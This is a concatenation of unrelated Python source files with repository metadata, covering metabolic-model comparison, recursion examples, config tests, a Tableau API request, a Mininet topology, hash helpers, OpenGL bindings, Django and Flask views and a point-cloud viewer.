def compareMetaboliteDicts(d1, d2): sorted_d1_keys = sorted(d1.keys()) sorted_d2_keys = sorted(d2.keys()) for i in range(len(sorted_d1_keys)): if not compareMetabolites(sorted_d1_keys[i], sorted_d2_keys[i], naive=True): return False elif not d1[sorted_d1_keys[i]] == d2[sorted_d2_keys[i]]: return False else: return True def compareMetabolites(met1, met2, naive=False): if isinstance(met1, set): return compareReactions(list(met1), list(met2), naive) if isinstance(met1, list): if not isinstance(met2, list): return False elif len(met1) != len(met2): return False else: for i in range(len(met1)): if not compareMetabolites(met1[i], met2[i], naive): return False else: return True else: if not True: #can never be entered pass elif not met1._bound == met2._bound: return False elif not met1._constraint_sense == met2._constraint_sense: return False #elif not met1.annotation == met2.annotation: # return False elif not met1.charge == met2.charge: return False elif not met1.compartment == met2.compartment: return False elif not met1.name == met2.name: return False elif not met1.compartment == met2.compartment: return False #elif not met1.notes == met2.notes: # return False elif not naive: if not compareReactions(met1._reaction, met2._reaction, naive=True): return False elif not compareModels(met1._model, met2._model, naive=True): return False else: return True else: return True def compareReactions(r1, r2, naive=False): if isinstance(r1, set): return compareReactions(list(r1), list(r2), naive) if isinstance(r1, list): if not isinstance(r2, list): return False elif len(r1) != len(r2): return False else: for i in range(len(r1)): if not compareReactions(r1[i], r2[i],naive): return False else: return True else: if not True: #can never be entered pass #elif not r1._compartments == r2._compartments: # return False #elif not r1._forward_variable == r2._forward_variable: # return False elif not r1._gene_reaction_rule == r2._gene_reaction_rule: return False elif not r1._id == r2._id: return False elif not r1._lower_bound == r2._lower_bound: return False #elif not r1._model == r2._model: # return False #elif not r1._reverse_variable == r2._reverse_variable: # return False elif not r1._upper_bound == r2._upper_bound: return False #elif not r1.annotation == r2.annotation: # return False elif not r1.name== r2.name: return False #elif not r1.notes == r2.notes: # return False elif not r1.subsystem == r2.subsystem: return False elif not r1.variable_kind == r2.variable_kind: return False elif not naive: if not compareMetaboliteDicts(r1._metabolites, r2._metabolites): return False elif not compareGenes(r1._genes,r2._genes, naive=True): return False else: return True else: return True def compareGenes(g1, g2, naive=False): if isinstance(g1, set): return compareGenes(list(g1), list(g2), naive) if isinstance(g1, list): if not isinstance(g2, list): return False elif len(g1) != len(g2): return False else: for i in range(len(g1)): if not compareGenes(g1[i], g2[i], naive): return False else: return True else: if not True: #can never be entered pass elif not g1._functional == g2._functional: return False elif not g1._id == g2._id: return False #elif not g1._model == g2._model: # return False elif not g1.annotation == g2.annotation: return False elif not g1.name == g2.name: return False #elif not g1.notes == g2.notes: # return False elif not naive: if not compareReactions(g1._reaction,g2._reaction, naive=True): return False else: return True else: return True def compareModels(m1, m2, naive=False): if not True: #can never be entered pass #elif not m1._compartments == m2._compartments: # return False #elif not m1._contexts == m2._contexts: # return False #elif not m1._solver == m2._solver: # return False elif not m1._id == m2._id: return False #elif not m1._trimmed == m2.trimmed: # return False #elif not m1._trimmed_genes == m2._trimmed_genes: # return False #elif not m1._trimmed_reactions == m2._trimmed_reactions: # return False #elif not m1.annotation == m2.annotation: # return False elif not m1.bounds == m2.bounds: return False elif not m1.name == m2.name: return False #elif not m1.notes == m2.notes: # return False #elif not m1.quadratic_component == m2.quadratic_component: # return False elif not naive: if not compareGenes(m1.genes, m2.genes): return False elif not compareMetabolites(m1.metabolites, m2.metabolites): return False elif not compareReactions(m1.reactions,m2.reactions): return False else: return True else: return True

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null

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1

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null

0

2

295e89c3127cdc64f86ba1f4504dbc0c0e95c2df

1,214

py

Python

ch05/recursion.py

laszlokiraly/LearningAlgorithms

032a3cc409546619cf41220821d081cde54bbcce

[ "MIT" ]

74

2021-05-06T22:03:18.000Z

2022-03-25T04:37:51.000Z

ch05/recursion.py

laszlokiraly/LearningAlgorithms

032a3cc409546619cf41220821d081cde54bbcce

[ "MIT" ]

null

ch05/recursion.py

laszlokiraly/LearningAlgorithms

032a3cc409546619cf41220821d081cde54bbcce

[ "MIT" ]

19

2021-07-16T11:42:00.000Z

2022-03-22T00:25:49.000Z

"""Recursive implementations.""" def find_max(A): """invoke recursive function to find maximum value in A.""" def rmax(lo, hi): """Use recursion to find maximum value in A[lo:hi+1].""" if lo == hi: return A[lo] mid = (lo+hi) // 2 L = rmax(lo, mid) R = rmax(mid+1, hi) return max(L, R) return rmax(0, len(A)-1) def find_max_with_count(A): """Count number of comparisons.""" def frmax(lo, hi): """Use recursion to find maximum value in A[lo:hi+1] incl. count""" if lo == hi: return (0, A[lo]) mid = (lo+hi)//2 ctleft,left = frmax(lo, mid) ctright,right = frmax(mid+1, hi) return (1+ctleft+ctright, max(left, right)) return frmax(0, len(A)-1) def count(A,target): """invoke recursive function to return number of times target appears in A.""" def rcount(lo, hi, target): """Use recursion to find maximum value in A[lo:hi+1].""" if lo == hi: return 1 if A[lo] == target else 0 mid = (lo+hi)//2 left = rcount(lo, mid, target) right = rcount(mid+1, hi, target) return left + right return rcount(0, len(A)-1, target)

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295f767e353179afb030c3f6f2c390f8073634e9

6,020

py

Python

tests/test_gc3_config.py

ericmharris/gc3-query

0bf5226130aafbb1974aeb96d93ee1996833e87d

[ "MIT" ]

null

tests/test_gc3_config.py

ericmharris/gc3-query

0bf5226130aafbb1974aeb96d93ee1996833e87d

[ "MIT" ]

null

tests/test_gc3_config.py

ericmharris/gc3-query

0bf5226130aafbb1974aeb96d93ee1996833e87d

[ "MIT" ]

null

from pathlib import Path from requests.auth import _basic_auth_str import pytest from bravado_core.formatter import SwaggerFormat, NO_OP from gc3_query.lib.gc3_config import GC3Config, IDMCredential TEST_BASE_DIR: Path = Path(__file__).parent.joinpath("GC3Config") config_dir = TEST_BASE_DIR.joinpath("config") def test_setup(): assert TEST_BASE_DIR.exists() assert config_dir.exists() def test_init(): gc3_config = GC3Config() assert 'gc30003' in gc3_config['idm']['domains'] assert gc3_config.user.cloud_username == 'eric.harris@oracle.com' def test_set_credential(): gc3_config = GC3Config() assert 'gc3test' in gc3_config['idm']['domains'] assert gc3_config.user.cloud_username == 'eric.harris@oracle.com' credential = gc3_config.set_credential(idm_domain_name='gc3test', password='Welcome123' ) assert credential assert credential.password == 'Welcome123' assert credential.idm_domain_name == 'gc3test' def test_set_gc3pilot_credential(): gc3_config = GC3Config() assert 'gc3pilot' in gc3_config['idm']['domains'] assert gc3_config.user.cloud_username == 'eric.harris@oracle.com' credential = gc3_config.set_credential(idm_domain_name='gc3pilot', password='V@nadium123!' ) assert credential assert credential.password == 'V@nadium123!' assert credential.idm_domain_name == 'gc3pilot' @pytest.fixture() def get_credential_setup() -> IDMCredential: gc3_config = GC3Config() assert 'gc3test' in gc3_config['idm']['domains'] assert gc3_config.user.cloud_username == 'eric.harris@oracle.com' credential = gc3_config.set_credential(idm_domain_name='gc3test', password='123Welcome' ) yield (credential) def test_load_atoml_files_individually(get_credential_setup): credential = get_credential_setup gc3_config = GC3Config() assert 'gc3test' in gc3_config['idm']['domains'] assert gc3_config.user.cloud_username == 'eric.harris@oracle.com' check_credential = gc3_config.get_credential(idm_domain_name='gc3test') assert check_credential==credential def test_credential_basic_auth(get_credential_setup): credential = get_credential_setup credential_expected_basic_auth =_basic_auth_str('eric.harris@oracle.com', '123Welcome') gc3_config = GC3Config() check_credential = gc3_config.get_credential(idm_domain_name='gc30003') assert gc3_config.user.cloud_username == 'eric.harris@oracle.com' assert check_credential.idm_domain_name=='gc30003' assert check_credential.basic_auth_str.startswith('Basic') assert check_credential.basic_auth_str != credential.basic_auth_str def test_get_main_credential(): gc3_config = GC3Config() check_credential = gc3_config.get_credential(idm_domain_name='gc30003') assert gc3_config.user.cloud_username == 'eric.harris@oracle.com' assert check_credential.idm_domain_name=='gc30003' # @pytest.fixture() # def get_bravado_config_setup(): # gc3_config = GC3Config() # assert 'iaas_classic' in gc3_config # yield (gc3_config) # # def test_bravado_client_config(get_bravado_config_setup): # gc3_config = get_bravado_config_setup # assert 'iaas_classic' in gc3_config # bravado_client_config = gc3_config.bravado_client_config # assert bravado_client_config # assert 'formats' not in bravado_client_config # assert not 'include_missing_properties' in bravado_client_config # assert 'also_return_response' in bravado_client_config # bravado_client_config_2 = gc3_config.bravado_client_config # assert bravado_client_config==bravado_client_config_2 # assert bravado_client_config is not bravado_client_config_2 # assert isinstance(bravado_client_config, dict) # # def test_bravado_core_config(get_bravado_config_setup): # gc3_config = get_bravado_config_setup # assert 'iaas_classic' in gc3_config # bravado_core_config = gc3_config.bravado_core_config # assert bravado_core_config # assert 'formats' in bravado_core_config # assert 'include_missing_properties' in bravado_core_config # assert not 'also_return_response' in bravado_core_config # bravado_core_config_2 = gc3_config.bravado_core_config # assert bravado_core_config==bravado_core_config_2 # assert bravado_core_config is not bravado_core_config_2 # assert isinstance(bravado_core_config, dict) # assert isinstance(bravado_core_config['formats'], list) # # # # def test_bravado_config(get_bravado_config_setup): # gc3_config = get_bravado_config_setup # assert 'iaas_classic' in gc3_config # bravado_config = gc3_config.bravado_config # assert bravado_config # assert 'formats' in bravado_config # assert 'include_missing_properties' in bravado_config # assert 'also_return_response' in bravado_config # bravado_config_2 = gc3_config.bravado_config # assert bravado_config==bravado_config_2 # assert bravado_config is not bravado_config_2 # assert isinstance(bravado_config, dict) # assert isinstance(bravado_config['formats'], list) # @pytest.fixture() def get_constants_setup(): gc3_config = GC3Config() assert 'iaas_classic' in gc3_config yield (gc3_config) def test_open_api_catalog_dir(get_constants_setup): gc3_config = get_constants_setup open_api_catalog_dir = gc3_config.OPEN_API_CATALOG_DIR assert open_api_catalog_dir # def test_BRAVADO_CONFIG(get_constants_setup): # gc3_config = get_constants_setup # bravado_config = gc3_config.BRAVADO_CONFIG # assert bravado_config # assert 'formats' in bravado_config # assert 'include_missing_properties' in bravado_config # assert 'also_return_response' in bravado_config # assert isinstance(bravado_config, dict) # assert isinstance(bravado_config['formats'], list) # assert bravado_config['formats'] # formats = [f.format for f in bravado_config['formats']] # assert 'json-bool' in formats # assert all([isinstance(i , SwaggerFormat) for i in bravado_config['formats']])

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0

null

0

null

0

1

0

1

0

2

296af987b0de54ddfc1944dd10981828dfe9bc78

1,803

py

Python

requests/UpdateSubscriptionRequest.py

divinorum-webb/python-tableau-api

9d3f130d63b15307ad2b23e2273b52790b8d9018

[ "Apache-2.0" ]

1

2019-06-08T22:19:40.000Z

requests/UpdateSubscriptionRequest.py

divinorum-webb/python-tableau-api

9d3f130d63b15307ad2b23e2273b52790b8d9018

[ "Apache-2.0" ]

null

requests/UpdateSubscriptionRequest.py

divinorum-webb/python-tableau-api

9d3f130d63b15307ad2b23e2273b52790b8d9018

[ "Apache-2.0" ]

null

from .BaseRequest import BaseRequest class UpdateSubscriptionRequest(BaseRequest): """ Update subscription request for generating API request URLs to Tableau Server. :param ts_connection: The Tableau Server connection object. :type ts_connection: class :param new_subscription_subject: (Optional) A new subject for the subscription. :type new_subscription_subject: string :param new_schedule_id: (Optional) The ID of a schedule to associate this subscription with. :type new_schedule_id: string """ def __init__(self, ts_connection, new_subscription_subject=None, new_schedule_id=None): super().__init__(ts_connection) self._new_subscription_subject = new_subscription_subject self._new_schedule_id = new_schedule_id @property def base_update_subscription_request(self): if self._new_subscription_subject and self._new_schedule_id: self._request_body.update({ 'subscription': { 'subject': self._new_subscription_subject, 'schedule': {'id': self._new_schedule_id} } }) elif self._new_subscription_subject and not self._new_schedule_id: self._request_body.update({ 'subscription': { 'subject': self._new_subscription_subject } }) else: self._request_body.update({ 'subscription': { 'schedule': {'id': self._new_schedule_id} } }) return self._request_body def get_request(self): return self.base_update_subscription_request

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null

1

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null

0

2

297b1b7d9f0a6e280fa0145471626d7d01aa1943

266

py

Python

test/win/vs-macros/test_exists.py

chlorm-forks/gyp

a8921fcaab1a18c8cf7e4ab09ceb940e336918ec

[ "BSD-3-Clause" ]

77

2018-07-01T15:55:34.000Z

2022-03-30T09:16:54.000Z

test/win/vs-macros/test_exists.py

chlorm-forks/gyp

a8921fcaab1a18c8cf7e4ab09ceb940e336918ec

[ "BSD-3-Clause" ]

116

2021-05-29T16:32:51.000Z

2021-08-13T16:05:29.000Z

test/win/vs-macros/test_exists.py

chlorm-forks/gyp

a8921fcaab1a18c8cf7e4ab09ceb940e336918ec

[ "BSD-3-Clause" ]

53

2018-04-13T12:06:06.000Z

2022-03-25T13:54:38.000Z

# Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import os import sys if not os.path.exists(sys.argv[1]): raise Exception() open(sys.argv[2], 'w').close()

24.181818

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null

0

1

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1

0

2

2980dcb521571569813c10466d1c0e11144f30c7

151

py

Python

ssb_pseudonymization/__init__.py

statisticsnorway/ssb-pseudonymization-py

cc8e1abd1cf00b403bfaf52fcb335f09ee71b591

[ "MIT" ]

1

2021-02-17T09:51:12.000Z

ssb_pseudonymization/__init__.py

statisticsnorway/ssb-pseudonymization-py

cc8e1abd1cf00b403bfaf52fcb335f09ee71b591

[ "MIT" ]

null

ssb_pseudonymization/__init__.py

statisticsnorway/ssb-pseudonymization-py

cc8e1abd1cf00b403bfaf52fcb335f09ee71b591

[ "MIT" ]

3

2020-08-25T07:12:17.000Z

2021-04-20T12:26:42.000Z

"""ssb-pseudonymization - Data pseudonymization functions used by SSB""" __version__ = '0.0.2' __author__ = 'Statistics Norway (ssb.no)' __all__ = []

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null

0

1

0

null

0

2

2981c0d7db082728c69505a339fd5c5214978ef0

758

py

Python

agent.py

shukia/2048-python

e6385ea3749098a418198e727e6976dccf344960

[ "MIT" ]

null

agent.py

shukia/2048-python

e6385ea3749098a418198e727e6976dccf344960

[ "MIT" ]

null

agent.py

shukia/2048-python

e6385ea3749098a418198e727e6976dccf344960

[ "MIT" ]

null

from logic import * class Agent: def __init__(self): self.matrix = [] self.score = 0 def initialize_game(self): self.score = 0 self.matrix = new_game(4) self.matrix = add_two(self.matrix) self.matrix = add_two(self.matrix) def move(self, direction): self.matrix, board_changed, score_change = move(self.matrix, direction) if board_changed: self.matrix = add_two(self.matrix) self.score += score_change return self.matrix, self.score, game_state(self.matrix) def simulate_move(self, direction): mat, board_changed, score_change = move(self.matrix, direction) return mat, self.score + score_change, game_state(mat), board_changed

29.153846

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98

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0.122056

0.372591

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0.257256

758

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0.421053

0

null

1

0

null

0

1

0

2

461e9e37802d7e3293cd85e18609ca2b81610862

341

gyp

Python

cluster-1.59/heatmap_clustering/binding.gyp

ericaflin/libheatmap

18a1aadf4d4cea68f9fd6da20ae858479cf90dab

[ "MIT" ]

2

2020-08-13T19:00:03.000Z

2021-08-24T06:50:47.000Z

cluster-1.59/heatmap_clustering/binding.gyp

ericaflin/libheatmap

18a1aadf4d4cea68f9fd6da20ae858479cf90dab

[ "MIT" ]

null

cluster-1.59/heatmap_clustering/binding.gyp

ericaflin/libheatmap

18a1aadf4d4cea68f9fd6da20ae858479cf90dab

[ "MIT" ]

null

{ "targets": [ { "target_name": "cclust", "sources": [ "./src/heatmap_clustering_js_module.cpp" ], 'dependencies': ['bonsaiclust'] }, { 'target_name': 'bonsaiclust', 'type': 'static_library', 'sources': [ 'src/cluster.c' ], 'cflags': ['-fPIC', '-I', '-pedantic', '-Wall'] } ] }

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1

0

true

0

1

0

null

0

null

0

1

0

2

461f2a3e6e5c1ff2b9ea5f5bf6bd2c1511d2a0ba

514

py

Python

homework/supporting.py

viaviare/MyFirstRepository

dab8530d16ab9746471b61b61e006d9febfed195

[ "Unlicense" ]

null

homework/supporting.py

viaviare/MyFirstRepository

dab8530d16ab9746471b61b61e006d9febfed195

[ "Unlicense" ]

null

homework/supporting.py

viaviare/MyFirstRepository

dab8530d16ab9746471b61b61e006d9febfed195

[ "Unlicense" ]

null

from selenium.webdriver.support.wait import WebDriverWait from selenium.common.exceptions import NoSuchElementException class Supporting: def __init__(self, driver): self.driver = driver self.wait = WebDriverWait(driver, 10) def is_element_present(self, driver, *args): try: self.driver.find_element(*args) return True except NoSuchElementException: return False def implicit_wait(self): self.driver.implicitly_wait(10)

24.47619

61

0.677043

55

514

6.163636

0.527273

0.147493

0

0.01039

0.250973

514

21

62

24.47619

0.87013

0

1

0.214286

false

0

0.142857

0

0.571429

0

null

0

null

0

1

0

1

0

2

4620512d639e2a5d97e4f0f0858dfee7bfe3ebb2

1,516

py

Python

vplsSinVlan.py

javicond3/mininetVPLS

73164f175d2a1873ccab2a317bd09aa5d09bdda6

[ "Unlicense" ]

null

vplsSinVlan.py

javicond3/mininetVPLS

73164f175d2a1873ccab2a317bd09aa5d09bdda6

[ "Unlicense" ]

null

vplsSinVlan.py

javicond3/mininetVPLS

73164f175d2a1873ccab2a317bd09aa5d09bdda6

[ "Unlicense" ]

null

"""Custom topology example Two directly connected switches plus a host for each switch: host --- switch --- switch --- host Adding the 'topos' dict with a key/value pair to generate our newly defined topology enables one to pass in '--topo=mytopo' from the command line. """ from mininet.topo import Topo class MyTopo( Topo ): "Simple topology example." def __init__( self ): "Create custom topo." # Initialize topology Topo.__init__( self ) # Add hosts and switches h1 = self.addHost('h1', mac='00:00:00:00:00:01') h2 = self.addHost('h2') h3 = self.addHost('h3') h4 = self.addHost('h4') h5 = self.addHost('h5') h6 = self.addHost('h6') s1 = self.addSwitch('s1') s2 = self.addSwitch('s2') s3 = self.addSwitch('s3') s4 = self.addSwitch('s4') s5 = self.addSwitch('s5') s6 = self.addSwitch('s6') # Add links self.addLink(s1, h1, port1=1, port2=0) self.addLink(s2, h2, port1=1, port2=0) self.addLink(s3, h3, port1=1, port2=0) self.addLink(s4, h4, port1=1, port2=0) self.addLink(s5, h5, port1=1, port2=0) self.addLink(s6, h6, port1=1, port2=0) self.addLink(s1, s2) self.addLink(s2, s3) self.addLink(s3, s4) self.addLink(s4, s1) self.addLink(s4, s2) self.addLink(s1, s5) self.addLink(s4, s5) self.addLink(s2, s6) self.addLink(s3, s6) topos = { 'vpls': ( lambda: MyTopo() ) }

26.137931

75

0.582454

214

1,516

4.088785

0.336449

0.188571

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0

0.081596

0.272427

1,516

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0.074576

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0

0.029412

null

0

null

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1

0

null

0

1

0

2

4626213aaa7096da9c7ee3b429d3bfce1126595c

1,721

py

Python

link_to_the_past/hashes.py

zsquareplusc/lttp-backup

32862ec136c9bda412256142c7d44d1564aab784

[ "BSD-3-Clause" ]

null

link_to_the_past/hashes.py

zsquareplusc/lttp-backup

32862ec136c9bda412256142c7d44d1564aab784

[ "BSD-3-Clause" ]

null

link_to_the_past/hashes.py

zsquareplusc/lttp-backup

32862ec136c9bda412256142c7d44d1564aab784

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python3 # encoding: utf-8 # # (C) 2012-2016 Chris Liechti <cliechti@gmx.net> # # SPDX-License-Identifier: BSD-3-Clause """\ Link To The Past - a backup tool Hash functions and commands. """ import hashlib import zlib class CRC32(object): """\ CRC32 API compatible to the hashlib functions (subset used by this program). >>> h = CRC32() >>> h.update(b'Hello World') >>> h.hexdigest() '4a17b156' """ def __init__(self): self.value = 0 def update(self, data): self.value = zlib.crc32(data, self.value) & 0xffffffff def hexdigest(self): return '{:08x}'.format(self.value) class NoHash(object): """\ API compatible to the hashlib functions (subset used by this program). >>> h = NoHash() >>> h.update(b'Hello World') >>> h.hexdigest() '-' """ def __init__(self): pass def update(self, data): pass def hexdigest(self): return '-' # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - SUPPORTED_HASHES = { 'NONE': NoHash, 'CRC32': CRC32, 'MD5': hashlib.md5, 'SHA-256': hashlib.sha256, 'SHA-512': hashlib.sha512, } def get_factory(name): """\ Get an object for calculating a hash. >>> f = get_factory('SHA-256') >>> h = f() >>> h.update(b'Hello World') >>> h.hexdigest() 'a591a6d40bf420404a011733cfb7b190d62c65bf0bcda32b57b277d9ad9f146e' """ if name is None: name = 'NONE' return SUPPORTED_HASHES[name.upper()] # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - if __name__ == '__main__': import doctest doctest.testmod()

20.247059

80

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null

0

null

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0

1

0

2

4634863621fdac26b1771cdeb54c5f5a51a3dcb7

1,448

py

Python

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/EXT/paletted_texture.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/EXT/paletted_texture.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/EXT/paletted_texture.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

'''Autogenerated by xml_generate script, do not edit!''' from OpenGL import platform as _p, arrays # Code generation uses this from OpenGL.raw.GL import _types as _cs # End users want this... from OpenGL.raw.GL._types import * from OpenGL.raw.GL import _errors from OpenGL.constant import Constant as _C import ctypes _EXTENSION_NAME = 'GL_EXT_paletted_texture' def _f( function ): return _p.createFunction( function,_p.PLATFORM.GL,'GL_EXT_paletted_texture',error_checker=_errors._error_checker) GL_COLOR_INDEX12_EXT=_C('GL_COLOR_INDEX12_EXT',0x80E6) GL_COLOR_INDEX16_EXT=_C('GL_COLOR_INDEX16_EXT',0x80E7) GL_COLOR_INDEX1_EXT=_C('GL_COLOR_INDEX1_EXT',0x80E2) GL_COLOR_INDEX2_EXT=_C('GL_COLOR_INDEX2_EXT',0x80E3) GL_COLOR_INDEX4_EXT=_C('GL_COLOR_INDEX4_EXT',0x80E4) GL_COLOR_INDEX8_EXT=_C('GL_COLOR_INDEX8_EXT',0x80E5) GL_TEXTURE_INDEX_SIZE_EXT=_C('GL_TEXTURE_INDEX_SIZE_EXT',0x80ED) @_f @_p.types(None,_cs.GLenum,_cs.GLenum,_cs.GLsizei,_cs.GLenum,_cs.GLenum,ctypes.c_void_p) def glColorTableEXT(target,internalFormat,width,format,type,table):pass @_f @_p.types(None,_cs.GLenum,_cs.GLenum,_cs.GLenum,ctypes.c_void_p) def glGetColorTableEXT(target,format,type,data):pass @_f @_p.types(None,_cs.GLenum,_cs.GLenum,arrays.GLfloatArray) def glGetColorTableParameterfvEXT(target,pname,params):pass @_f @_p.types(None,_cs.GLenum,_cs.GLenum,arrays.GLintArray) def glGetColorTableParameterivEXT(target,pname,params):pass

43.878788

118

0.810083

229

1,448

4.69869

0.340611

0.078067

0.039033

0.061338

0.274164

0.174721

0.068773

0

0.032282

0.080111

1,448

32

119

45.25

0.775526

0.069061

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0.142857

1

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0.05424

0

0.032086

0

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0.178571

false

0.142857

0.214286

0.035714

0.428571

0

null

0

1

0

null

0

1

0

2

4634eaef2f0ee2edb50cfda3fdc934ed5f0de8df

1,494

py

Python

backend/apps/csyllabusapi/views/university.py

CSyllabus/webapp

06391d43d97453a135ff78ff8dcdd35846c94d30

[ "MIT" ]

3

2017-11-02T11:24:09.000Z

2017-12-08T15:33:43.000Z

backend/apps/csyllabusapi/views/university.py

CSyllabus/webapp

06391d43d97453a135ff78ff8dcdd35846c94d30

[ "MIT" ]

2

2017-11-04T10:03:44.000Z

2017-12-31T08:26:36.000Z

backend/apps/csyllabusapi/views/university.py

CSyllabus/webapp

06391d43d97453a135ff78ff8dcdd35846c94d30

[ "MIT" ]

null

from rest_framework.parsers import JSONParser, FileUploadParser from rest_framework.views import APIView from ..models import City from ..models import Country from ..models import University from ..models import Faculty from ..models import Program from rest_framework.decorators import api_view, permission_classes from rest_framework.response import Response from rest_framework import permissions from rest_framework.decorators import parser_classes from django.utils import timezone try: from django.utils import simplejson as json except ImportError: import json @permission_classes((permissions.AllowAny,)) @parser_classes((JSONParser,)) class UniversityView(APIView): def post(self, request): name = request.data['name'] country = Country.objects.get(id=request.data['country_id']) city = City.objects.get(id=request.data['city_id']) University.objects.create(name=name, country=country, city=city) return Response() def delete(selfself, request): id = request.data['id'] University.objects.filter(id=id).delete() return Response() def put(selfself, request): id = request.data['id'] name = request.data['name'] country = Country.objects.get(id=request.data['country_id']) city = City.objects.get(id=request.data['city_id']) University.objects.filter(id=id).update(name=name, country=country, city=city, modified=timezone.now()) return Response()

33.954545

111

0.726238

187

1,494

5.721925

0.283422

0.082243

0.095327

0.071028

0.430841

0.369159

0.22243

0

0.168005

1,494

43

112

34.744186

0.860821

0

0.305556

0

0.03079

0

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0.083333

false

0

0.416667

0

0.611111

0

null

0

null

0

1

0

1

0

2

4638b2719be97e9698ba7de333d5a9c1e9271178

947

py

Python

app.py

Arpan-206/Youtube-Downloader-Flask

8ac6233e238d99c4a13d4d00afa2574d156cb80e

[ "MIT" ]

3

2021-04-28T09:49:43.000Z

2022-01-03T13:03:02.000Z

app.py

Arpan-206/Youtube-Downloader-Flask

8ac6233e238d99c4a13d4d00afa2574d156cb80e

[ "MIT" ]

null

app.py

Arpan-206/Youtube-Downloader-Flask

8ac6233e238d99c4a13d4d00afa2574d156cb80e

[ "MIT" ]

null

from flask import Flask, request, send_file, render_template, url_for import pytube import logging import sys import os from hello import timed_delete from threading import Timer timed_delete() logging.basicConfig(stream=sys.stderr, level=logging.DEBUG) app = Flask(__name__) @app.route("/") def youtube_downloader(): my_css = url_for('static', filename='cover.css') return render_template('index.html', css_path= my_css) @app.route("/download_video", methods=["GET","POST"]) def download_video(): """ First pytube downloads the file locally in pythonanywhere: /home/your_username/video_name.mp4 Then use Flask's send_file() to download the video to the user's Downloads folder. """ local_download_path = pytube.YouTube("https://www.youtube.com/watch?v=b1JlYZQG3lI").streams.get_highest_resolution().download() fname = local_download_path.split("//") return send_file(fname, as_attachment=True)

31.566667

131

0.744456

132

947

5.128788

0.568182

0.035451

0.050222

0

0.003672

0.137276

947

29

132

32.655172

0.824969

0.187962

0

0.125846

0

1

0.105263

false

0

0.368421

0

0.578947

0

null

0

null

0

1

0

1

0

2

463d1c29208fd7d810aca90bed20af06afc212fd

3,272

py

Python

Validation/valid_view_point_cloud.py

dtczhl/Slimmer

c93dac6a59828016484d8bef1c71e9ccceabab9c

[ "MIT" ]

null

Validation/valid_view_point_cloud.py

dtczhl/Slimmer

c93dac6a59828016484d8bef1c71e9ccceabab9c

[ "MIT" ]

null

Validation/valid_view_point_cloud.py

dtczhl/Slimmer

c93dac6a59828016484d8bef1c71e9ccceabab9c

[ "MIT" ]

null

""" view predication for point cloud, Run valid_one_point_cloud first """ import torch import numpy as np import sys import os import pptk # ------ Configurations ------ # path to pth file pth_file = "../tmp/scene0015_00_vh_clean_2.pth.Random.100" show_gt = False # show groundtruth or not; groudtruth draw first, i.e., on back # --- end of configurations --- CLASS_LABELS = ['wall', 'floor', 'cabinet', 'bed', 'chair', 'sofa', 'table', 'door', 'window', 'bookshelf', 'picture', 'counter', 'desk', 'curtain', 'refrigerator', 'shower curtain', 'toilet', 'sink', 'bathtub', 'otherfurniture'] # CLASS_COLOR = [ # [138, 43, 226], [0, 128, 128], [0, 255, 0], [0, 0, 255], [255, 255, 0], # [0, 255, 255], [255, 0, 255], [192, 192, 192], [128, 128, 128], [128, 0, 0], # [128, 128, 0], [0, 128, 0], [128, 0, 128], [255, 0, 0], [0, 0, 128], # [34, 139, 34], [64, 224, 208], [0, 0, 0], [75, 0, 130], [205, 133, 63] # ] SCANNET_COLOR_MAP = SCANNET_COLOR_MAP = { 0: (0., 0., 0.), 1: (174., 199., 232.), 2: (152., 223., 138.), 3: (31., 119., 180.), 4: (255., 187., 120.), 5: (188., 189., 34.), 6: (140., 86., 75.), 7: (255., 152., 150.), 8: (214., 39., 40.), 9: (197., 176., 213.), 10: (148., 103., 189.), 11: (196., 156., 148.), 12: (23., 190., 207.), 14: (247., 182., 210.), 15: (66., 188., 102.), 16: (219., 219., 141.), 17: (140., 57., 197.), 18: (202., 185., 52.), 19: (51., 176., 203.), 20: (200., 54., 131.), 21: (92., 193., 61.), 22: (78., 71., 183.), 23: (172., 114., 82.), 24: (255., 127., 14.), 25: (91., 163., 138.), 26: (153., 98., 156.), 27: (140., 153., 101.), 28: (158., 218., 229.), 29: (100., 125., 154.), 30: (178., 127., 135.), 32: (146., 111., 194.), 33: (44., 160., 44.), 34: (112., 128., 144.), 35: (96., 207., 209.), 36: (227., 119., 194.), 37: (213., 92., 176.), 38: (94., 106., 211.), 39: (82., 84., 163.), 40: (100., 85., 144.), } VALID_CLASS_IDS = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 24, 28, 33, 34, 36, 39 ] CLASS_COLOR = [] for valid_id in VALID_CLASS_IDS: CLASS_COLOR.append(SCANNET_COLOR_MAP[valid_id]) CLASS_COLOR = np.array(CLASS_COLOR) / 255.0 def show_predication_result(pth_file, show_gt): data = torch.load(pth_file) coords, colors, labels, pred = data ignore_index = labels == -100 coords = coords[~ignore_index] colors = colors[~ignore_index] labels = labels[~ignore_index] pred = pred[~ignore_index] gt_color = [CLASS_COLOR[x] for x in labels.astype("int32")] pred_color = [CLASS_COLOR[x] for x in pred.astype("int32")] if show_gt: v1 = pptk.viewer(coords, gt_color) v1.set(point_size=0.01, bg_color=[1, 1, 1, 1], floor_color=[1, 1, 1, 1], show_grid=False, show_axis=False, show_info=False) v1.set(theta=1.8, lookat=[0, 0, 0], phi=0.52) v2 = pptk.viewer(coords, pred_color) v2.set(point_size=0.01, bg_color=[1, 1, 1, 1], floor_color=[1, 1, 1, 1], show_grid=False, show_axis=False, show_info=False) v2.set(theta=1.8, lookat=[0, 0, 0], phi=0.52) if __name__ == "__main__": show_predication_result(pth_file, show_gt)

30.579439

131

0.537897

514

3,272

3.291829

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0.020095

0.014184

0.018913

0.213948

0.202719

0.189125

0.122931

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0.231051

3,272

106

132

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0

null

0

1

0

1

0

null

0

2

464c2239f3ce7da17665c8d65313e5b7bfe44898

762

py

Python

codeEval/hard/levenshtein_distance.py

